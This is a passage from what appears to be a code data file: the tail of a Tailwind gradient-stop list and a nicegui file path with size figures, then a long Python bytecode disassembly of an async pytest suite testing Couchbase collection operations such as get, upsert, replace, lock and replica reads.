"to-25%", "to-30%", "to-35%", "to-40%", "to-45%", "to-50%", "to-55%", "to-60%", "to-65%", "to-70%", "to-75%", "to-80%", "to-85%", "to-90%", "to-95%", "to-100%", ]
data/nicegui-1.4.15/nicegui/tailwind_types/gradient_color_stops.py
7,425
9,008
223,325
LOAD_CONST 0 LOAD_CONST None IMPORT_NAME asyncio STORE_NAME asyncio LOAD_CONST 0 LOAD_CONST ('datetime', 'timedelta') IMPORT_NAME datetime IMPORT_FROM datetime STORE_NAME datetime IMPORT_FROM timedelta STORE_NAME timedelta POP_TOP LOAD_CONST 0 LOAD_CONST ('time',) IMPORT_NAME time IMPORT_FROM time STORE_NAME time POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pytest STORE_NAME pytest LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pytest_asyncio STORE_NAME pytest_asyncio LOAD_CONST 0 LOAD_CONST None IMPORT_NAME couchbase.subdocument IMPORT_FROM subdocument STORE_NAME SD POP_TOP LOAD_CONST 0 LOAD_CONST ('get_event_loop',) IMPORT_NAME acouchbase.cluster IMPORT_FROM get_event_loop STORE_NAME get_event_loop POP_TOP LOAD_CONST 0 LOAD_CONST ('ServiceType',) IMPORT_NAME couchbase.diagnostics IMPORT_FROM ServiceType STORE_NAME ServiceType POP_TOP LOAD_CONST 0 LOAD_CONST ('CasMismatchException', 'DocumentExistsException', 'DocumentLockedException', 'DocumentNotFoundException', 'DocumentNotLockedException', 'DocumentUnretrievableException', 'InvalidArgumentException', 'PathNotFoundException', 'TemporaryFailException') IMPORT_NAME couchbase.exceptions IMPORT_FROM CasMismatchException STORE_NAME CasMismatchException IMPORT_FROM DocumentExistsException STORE_NAME DocumentExistsException IMPORT_FROM DocumentLockedException STORE_NAME DocumentLockedException IMPORT_FROM DocumentNotFoundException STORE_NAME DocumentNotFoundException IMPORT_FROM DocumentNotLockedException STORE_NAME DocumentNotLockedException IMPORT_FROM DocumentUnretrievableException STORE_NAME DocumentUnretrievableException IMPORT_FROM InvalidArgumentException STORE_NAME InvalidArgumentException IMPORT_FROM PathNotFoundException STORE_NAME PathNotFoundException IMPORT_FROM TemporaryFailException STORE_NAME TemporaryFailException POP_TOP LOAD_CONST 0 LOAD_CONST ('GetOptions', 'InsertOptions', 'ReplaceOptions', 'UpsertOptions') IMPORT_NAME couchbase.options IMPORT_FROM GetOptions STORE_NAME GetOptions IMPORT_FROM InsertOptions STORE_NAME InsertOptions IMPORT_FROM ReplaceOptions STORE_NAME ReplaceOptions IMPORT_FROM UpsertOptions STORE_NAME UpsertOptions POP_TOP LOAD_CONST 0 LOAD_CONST ('ExistsResult', 'GetReplicaResult', 'GetResult', 'MutationResult') IMPORT_NAME couchbase.result IMPORT_FROM ExistsResult STORE_NAME ExistsResult IMPORT_FROM GetReplicaResult STORE_NAME GetReplicaResult IMPORT_FROM GetResult STORE_NAME GetResult IMPORT_FROM MutationResult STORE_NAME MutationResult POP_TOP LOAD_CONST 0 LOAD_CONST ('MockServerType',) IMPORT_NAME tests.mock_server IMPORT_FROM MockServerType STORE_NAME MockServerType POP_TOP LOAD_CONST 1 LOAD_CONST ('CollectionType', 'KVPair', 'TestEnvironment') IMPORT_NAME _test_utils IMPORT_FROM CollectionType STORE_NAME CollectionType IMPORT_FROM KVPair STORE_NAME KVPair IMPORT_FROM TestEnvironment STORE_NAME TestEnvironment POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object CollectionTests at 0x7fab42750d20, file "f.py", line 29> LOAD_CONST 'CollectionTests' MAKE_FUNCTION LOAD_CONST 'CollectionTests' CALL_FUNCTION STORE_NAME CollectionTests LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CollectionTests' STORE_NAME __qualname__ LOAD_CONST 'not-a-key' STORE_NAME NO_KEY LOAD_CONST 1576800000 STORE_NAME FIFTY_YEARS LOAD_CONST 2592000 STORE_NAME THIRTY_DAYS LOAD_NAME pytest_asyncio LOAD_ATTR fixture LOAD_CONST 'class' LOAD_CONST ('scope',) CALL_FUNCTION LOAD_CONST <code object event_loop at 0x7fab42aabed0, file "f.py", line 34> LOAD_CONST 'CollectionTests.event_loop' MAKE_FUNCTION CALL_FUNCTION STORE_NAME event_loop LOAD_NAME pytest_asyncio LOAD_ATTR fixture LOAD_CONST 'class' LOAD_CONST 'cb_env' LOAD_NAME CollectionType LOAD_ATTR DEFAULT LOAD_NAME CollectionType LOAD_ATTR NAMED BUILD_LIST LOAD_CONST ('scope', 'name', 'params') CALL_FUNCTION LOAD_CONST <code object couchbase_test_environment at 0x7fab42aabd20, file "f.py", line 40> LOAD_CONST 'CollectionTests.couchbase_test_environment' MAKE_FUNCTION CALL_FUNCTION STORE_NAME couchbase_test_environment LOAD_NAME pytest LOAD_ATTR fixture LOAD_CONST 'class' LOAD_CONST ('scope',) CALL_FUNCTION LOAD_CONST <code object check_preserve_expiry_supported at 0x7fab42aab9c0, file "f.py", line 62> LOAD_CONST 'CollectionTests.check_preserve_expiry_supported' MAKE_FUNCTION CALL_FUNCTION STORE_NAME check_preserve_expiry_supported LOAD_NAME pytest LOAD_ATTR fixture LOAD_CONST 'class' LOAD_CONST ('scope',) CALL_FUNCTION LOAD_CONST <code object check_sync_durability_supported at 0x7fab42aab0c0, file "f.py", line 66> LOAD_CONST 'CollectionTests.check_sync_durability_supported' MAKE_FUNCTION CALL_FUNCTION STORE_NAME check_sync_durability_supported LOAD_NAME pytest LOAD_ATTR fixture LOAD_CONST 'class' LOAD_CONST ('scope',) CALL_FUNCTION LOAD_CONST <code object check_xattr_supported at 0x7fab42aab150, file "f.py", line 70> LOAD_CONST 'CollectionTests.check_xattr_supported' MAKE_FUNCTION CALL_FUNCTION STORE_NAME check_xattr_supported LOAD_NAME pytest LOAD_ATTR fixture LOAD_CONST 'class' LOAD_CONST ('scope',) CALL_FUNCTION LOAD_CONST <code object check_not_locked_supported at 0x7fab42aab6f0, file "f.py", line 74> LOAD_CONST 'CollectionTests.check_not_locked_supported' MAKE_FUNCTION CALL_FUNCTION STORE_NAME check_not_locked_supported LOAD_NAME pytest_asyncio LOAD_ATTR fixture LOAD_CONST 'new_kvp' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME KVPair LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object new_key_and_value_with_reset at 0x7fab42aab390, file "f.py", line 78> LOAD_CONST 'CollectionTests.new_key_and_value_with_reset' MAKE_FUNCTION CALL_FUNCTION STORE_NAME new_key_and_value_with_reset LOAD_NAME pytest LOAD_ATTR fixture LOAD_CONST 'default_kvp' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME KVPair LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object default_key_and_value at 0x7fab42aab300, file "f.py", line 92> LOAD_CONST 'CollectionTests.default_key_and_value' MAKE_FUNCTION CALL_FUNCTION STORE_NAME default_key_and_value LOAD_NAME pytest_asyncio LOAD_ATTR fixture LOAD_CONST 'default_kvp_and_reset' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME KVPair LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object default_key_and_value_with_reset at 0x7fab802dd8a0, file "f.py", line 97> LOAD_CONST 'CollectionTests.default_key_and_value_with_reset' MAKE_FUNCTION CALL_FUNCTION STORE_NAME default_key_and_value_with_reset LOAD_NAME pytest_asyncio LOAD_ATTR fixture LOAD_CONST 'class' LOAD_CONST ('scope',) CALL_FUNCTION LOAD_CONST <code object num_replicas at 0x7fab802ddd20, file "f.py", line 103> LOAD_CONST 'CollectionTests.num_replicas' MAKE_FUNCTION CALL_FUNCTION STORE_NAME num_replicas LOAD_NAME pytest_asyncio LOAD_ATTR fixture LOAD_CONST 'class' LOAD_CONST ('scope',) CALL_FUNCTION LOAD_CONST <code object check_replicas at 0x7fab802dd390, file "f.py", line 111> LOAD_CONST 'CollectionTests.check_replicas' MAKE_FUNCTION CALL_FUNCTION STORE_NAME check_replicas LOAD_NAME pytest LOAD_ATTR fixture LOAD_CONST 'class' LOAD_CONST ('scope',) CALL_FUNCTION LOAD_CONST <code object num_nodes at 0x7fab802dd030, file "f.py", line 118> LOAD_CONST 'CollectionTests.num_nodes' MAKE_FUNCTION CALL_FUNCTION STORE_NAME num_nodes LOAD_NAME pytest LOAD_ATTR fixture LOAD_CONST 'class' LOAD_CONST ('scope',) CALL_FUNCTION LOAD_CONST <code object check_multi_node at 0x7fab802dd150, file "f.py", line 122> LOAD_CONST 'CollectionTests.check_multi_node' MAKE_FUNCTION CALL_FUNCTION STORE_NAME check_multi_node LOAD_NAME pytest LOAD_ATTR fixture LOAD_CONST 'class' LOAD_CONST ('scope',) CALL_FUNCTION LOAD_CONST <code object skip_if_go_caves at 0x7fab802dddb0, file "f.py", line 127> LOAD_CONST 'CollectionTests.skip_if_go_caves' MAKE_FUNCTION CALL_FUNCTION STORE_NAME skip_if_go_caves LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_exists at 0x7fab802dd660, file "f.py", line 132> LOAD_CONST 'CollectionTests.test_exists' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_exists LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_does_not_exists at 0x7fab802dd810, file "f.py", line 140> LOAD_CONST 'CollectionTests.test_does_not_exists' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_does_not_exists LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_get at 0x7fab42b3cf60, file "f.py", line 147> LOAD_CONST 'CollectionTests.test_get' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_get LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_get_options at 0x7fab42b3c780, file "f.py", line 159> LOAD_CONST 'CollectionTests.test_get_options' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_get_options LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_get_fails at 0x7fab42b3cc00, file "f.py", line 173> LOAD_CONST 'CollectionTests.test_get_fails' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_get_fails LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD usefixtures LOAD_CONST 'check_xattr_supported' CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_get_with_expiry at 0x7fab42b3c300, file "f.py", line 179> LOAD_CONST 'CollectionTests.test_get_with_expiry' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_get_with_expiry LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_expiry_really_expires at 0x7fab42b3c9c0, file "f.py", line 197> LOAD_CONST 'CollectionTests.test_expiry_really_expires' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_expiry_really_expires LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_project at 0x7fab42b3c420, file "f.py", line 208> LOAD_CONST 'CollectionTests.test_project' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_project LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_project_bad_path at 0x7fab6406a780, file "f.py", line 227> LOAD_CONST 'CollectionTests.test_project_bad_path' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_project_bad_path LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_project_project_not_list at 0x7fab6406a4b0, file "f.py", line 234> LOAD_CONST 'CollectionTests.test_project_project_not_list' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_project_project_not_list LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD usefixtures LOAD_CONST 'skip_if_go_caves' CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_project_too_many_projections at 0x7fab6406a1e0, file "f.py", line 241> LOAD_CONST 'CollectionTests.test_project_too_many_projections' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_project_too_many_projections LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_upsert at 0x7fab6406a390, file "f.py", line 265> LOAD_CONST 'CollectionTests.test_upsert' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_upsert LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD usefixtures LOAD_CONST 'check_preserve_expiry_supported' CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_upsert_preserve_expiry_not_used at 0x7fab6406aa50, file "f.py", line 280> LOAD_CONST 'CollectionTests.test_upsert_preserve_expiry_not_used' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_upsert_preserve_expiry_not_used LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD usefixtures LOAD_CONST 'check_preserve_expiry_supported' CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_upsert_preserve_expiry at 0x7fab6406ad20, file "f.py", line 310> LOAD_CONST 'CollectionTests.test_upsert_preserve_expiry' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_upsert_preserve_expiry LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_insert at 0x7fab6406a5d0, file "f.py", line 338> LOAD_CONST 'CollectionTests.test_insert' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_insert LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_insert_document_exists at 0x7fab6406a9c0, file "f.py", line 353> LOAD_CONST 'CollectionTests.test_insert_document_exists' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_insert_document_exists LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_replace at 0x7fab6406a660, file "f.py", line 361> LOAD_CONST 'CollectionTests.test_replace' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_replace LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_replace_with_cas at 0x7fab6406adb0, file "f.py", line 376> LOAD_CONST 'CollectionTests.test_replace_with_cas' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_replace_with_cas LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_replace_fail at 0x7fab6406a540, file "f.py", line 390> LOAD_CONST 'CollectionTests.test_replace_fail' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_replace_fail LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_remove at 0x7fab6406a810, file "f.py", line 396> LOAD_CONST 'CollectionTests.test_remove' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_remove LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_remove_fail at 0x7fab6406a930, file "f.py", line 406> LOAD_CONST 'CollectionTests.test_remove_fail' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_remove_fail LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD usefixtures LOAD_CONST 'check_preserve_expiry_supported' CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_replace_preserve_expiry_not_used at 0x7fab6406ae40, file "f.py", line 412> LOAD_CONST 'CollectionTests.test_replace_preserve_expiry_not_used' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_replace_preserve_expiry_not_used LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD usefixtures LOAD_CONST 'check_preserve_expiry_supported' CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_replace_preserve_expiry at 0x7fab6406a300, file "f.py", line 443> LOAD_CONST 'CollectionTests.test_replace_preserve_expiry' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_replace_preserve_expiry LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD usefixtures LOAD_CONST 'check_preserve_expiry_supported' CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_replace_preserve_expiry_fail at 0x7fab42750030, file "f.py", line 473> LOAD_CONST 'CollectionTests.test_replace_preserve_expiry_fail' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_replace_preserve_expiry_fail LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_touch at 0x7fab427500c0, file "f.py", line 484> LOAD_CONST 'CollectionTests.test_touch' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_touch LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_touch_no_expire at 0x7fab427501e0, file "f.py", line 497> LOAD_CONST 'CollectionTests.test_touch_no_expire' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_touch_no_expire LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_get_and_touch at 0x7fab42750270, file "f.py", line 511> LOAD_CONST 'CollectionTests.test_get_and_touch' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_get_and_touch LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_get_and_touch_no_expire at 0x7fab42750390, file "f.py", line 524> LOAD_CONST 'CollectionTests.test_get_and_touch_no_expire' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_get_and_touch_no_expire LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_get_and_lock at 0x7fab42750420, file "f.py", line 538> LOAD_CONST 'CollectionTests.test_get_and_lock' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_get_and_lock LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_get_after_lock at 0x7fab427504b0, file "f.py", line 550> LOAD_CONST 'CollectionTests.test_get_after_lock' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_get_after_lock LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_get_and_lock_replace_with_cas at 0x7fab42750540, file "f.py", line 569> LOAD_CONST 'CollectionTests.test_get_and_lock_replace_with_cas' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_get_and_lock_replace_with_cas LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_unlock at 0x7fab42750780, file "f.py", line 590> LOAD_CONST 'CollectionTests.test_unlock' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_unlock LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_unlock_wrong_cas at 0x7fab427505d0, file "f.py", line 600> LOAD_CONST 'CollectionTests.test_unlock_wrong_cas' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_unlock_wrong_cas LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD usefixtures LOAD_CONST 'check_not_locked_supported' CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_unlock_not_locked at 0x7fab427508a0, file "f.py", line 618> LOAD_CONST 'CollectionTests.test_unlock_not_locked' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_unlock_not_locked LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD usefixtures LOAD_CONST 'check_replicas' CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_get_any_replica at 0x7fab42750930, file "f.py", line 629> LOAD_CONST 'CollectionTests.test_get_any_replica' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_get_any_replica LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD usefixtures LOAD_CONST 'check_replicas' CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_get_any_replica_fail at 0x7fab427509c0, file "f.py", line 639> LOAD_CONST 'CollectionTests.test_get_any_replica_fail' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_get_any_replica_fail LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD usefixtures LOAD_CONST 'check_multi_node' CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD usefixtures LOAD_CONST 'check_replicas' CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_get_all_replicas at 0x7fab42750a50, file "f.py", line 645> LOAD_CONST 'CollectionTests.test_get_all_replicas' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_get_all_replicas LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD usefixtures LOAD_CONST 'check_multi_node' CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD usefixtures LOAD_CONST 'check_replicas' CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_get_all_replicas_fail at 0x7fab42750ae0, file "f.py", line 661> LOAD_CONST 'CollectionTests.test_get_all_replicas_fail' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_get_all_replicas_fail LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD usefixtures LOAD_CONST 'check_multi_node' CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD usefixtures LOAD_CONST 'check_replicas' CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_CONST <code object test_get_all_replicas_results at 0x7fab42750b70, file "f.py", line 668> LOAD_CONST 'CollectionTests.test_get_all_replicas_results' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_get_all_replicas_results LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD usefixtures LOAD_CONST 'check_xattr_supported' CALL_METHOD LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR asyncio LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'expiry' LOAD_NAME FIFTY_YEARS LOAD_CONST 1 BINARY_ADD LOAD_NAME FIFTY_YEARS LOAD_NAME THIRTY_DAYS LOAD_CONST 1 BINARY_SUBTRACT LOAD_NAME THIRTY_DAYS LOAD_NAME int LOAD_NAME time CALL_FUNCTION LOAD_CONST 1.0 BINARY_SUBTRACT CALL_FUNCTION LOAD_CONST 60 LOAD_CONST -1 BUILD_LIST CALL_METHOD LOAD_CONST <code object test_document_expiry_values at 0x7fab42750c90, file "f.py", line 689> LOAD_CONST 'CollectionTests.test_document_expiry_values' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_document_expiry_values LOAD_CONST None RETURN_VALUE LOAD_GLOBAL get_event_loop CALL_FUNCTION STORE_FAST loop LOAD_FAST loop YIELD_VALUE POP_TOP LOAD_FAST loop LOAD_METHOD close CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL TestEnvironment LOAD_ATTR get_environment LOAD_GLOBAL __name__ LOAD_FAST couchbase_config LOAD_FAST request LOAD_ATTR param LOAD_CONST True LOAD_CONST ('manage_buckets',) CALL_FUNCTION GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST cb_env LOAD_FAST request LOAD_ATTR param LOAD_GLOBAL CollectionType LOAD_ATTR NAMED COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 5 LOAD_CONST 3 LOAD_FAST cb_env LOAD_ATTR setup_named_collections CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 3 LOAD_CONST 5 LOAD_FAST cb_env LOAD_ATTR load_data CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST cb_env YIELD_VALUE POP_TOP LOAD_FAST cb_env LOAD_ATTR try_n_times_till_exception LOAD_CONST 3 LOAD_CONST 5 LOAD_FAST cb_env LOAD_ATTR purge_data LOAD_CONST False LOAD_CONST ('raise_if_no_exception',) CALL_FUNCTION GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST request LOAD_ATTR param LOAD_GLOBAL CollectionType LOAD_ATTR NAMED COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST cb_env LOAD_ATTR try_n_times_till_exception LOAD_CONST 5 LOAD_CONST 3 LOAD_FAST cb_env LOAD_ATTR teardown_named_collections LOAD_CONST False LOAD_CONST ('raise_if_no_exception',) CALL_FUNCTION GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_METHOD check_if_feature_supported LOAD_CONST 'preserve_expiry' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_METHOD check_if_feature_supported LOAD_CONST 'sync_durability' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_METHOD check_if_feature_supported LOAD_CONST 'xattr' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_METHOD check_if_feature_supported LOAD_CONST 'kv_not_locked' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_METHOD get_new_key_value CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM UNPACK_SEQUENCE STORE_FAST key STORE_FAST value LOAD_GLOBAL KVPair LOAD_FAST key LOAD_FAST value CALL_FUNCTION YIELD_VALUE POP_TOP LOAD_FAST cb_env LOAD_ATTR try_n_times_till_exception LOAD_CONST 10 LOAD_CONST 1 LOAD_FAST cb_env LOAD_ATTR collection LOAD_ATTR remove LOAD_FAST key LOAD_GLOBAL DocumentNotFoundException BUILD_TUPLE LOAD_CONST True LOAD_CONST 3 LOAD_CONST ('expected_exceptions', 'reset_on_timeout', 'reset_num_times') CALL_FUNCTION GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_METHOD get_default_key_value CALL_METHOD UNPACK_SEQUENCE STORE_FAST key STORE_FAST value LOAD_GLOBAL KVPair LOAD_FAST key LOAD_FAST value CALL_FUNCTION YIELD_VALUE POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_METHOD get_default_key_value CALL_METHOD UNPACK_SEQUENCE STORE_FAST key STORE_FAST value LOAD_GLOBAL KVPair LOAD_FAST key LOAD_FAST value CALL_FUNCTION YIELD_VALUE POP_TOP LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 5 LOAD_CONST 3 LOAD_FAST cb_env LOAD_ATTR collection LOAD_ATTR upsert LOAD_FAST key LOAD_FAST value CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_METHOD try_n_times LOAD_CONST 10 LOAD_CONST 1 LOAD_FAST cb_env LOAD_ATTR bm LOAD_ATTR get_bucket LOAD_FAST cb_env LOAD_ATTR bucket LOAD_ATTR name CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST bucket_settings LOAD_FAST bucket_settings LOAD_METHOD get LOAD_CONST 'num_replicas' CALL_METHOD STORE_FAST num_replicas LOAD_FAST num_replicas RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR bucket LOAD_METHOD ping CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST ping_res LOAD_FAST ping_res LOAD_ATTR endpoints LOAD_METHOD get LOAD_GLOBAL ServiceType LOAD_ATTR KeyValue LOAD_CONST None CALL_METHOD STORE_FAST kv_endpoints LOAD_FAST kv_endpoints LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL len LOAD_FAST kv_endpoints CALL_FUNCTION LOAD_FAST num_replicas LOAD_CONST 1 BINARY_ADD COMPARE_OP < POP_JUMP_IF_FALSE LOAD_GLOBAL pytest LOAD_METHOD skip LOAD_CONST 'Not all replicas are online' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL len LOAD_FAST cb_env LOAD_ATTR cluster LOAD_ATTR _cluster_info LOAD_ATTR nodes CALL_FUNCTION RETURN_VALUE LOAD_FAST num_nodes LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL pytest LOAD_METHOD skip LOAD_CONST 'Test only for clusters with more than a single node.' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR is_mock_server POP_JUMP_IF_FALSE LOAD_FAST cb_env LOAD_ATTR mock_server_type LOAD_GLOBAL MockServerType LOAD_ATTR GoCAVES COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL pytest LOAD_METHOD skip LOAD_CONST 'GoCAVES does not like this operation.' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST cb_env LOAD_ATTR collection STORE_FAST cb LOAD_FAST default_kvp LOAD_ATTR key STORE_FAST key LOAD_FAST cb LOAD_METHOD exists LOAD_FAST key CALL_METHOD GET_AWAITABLE LOAD_CONST None 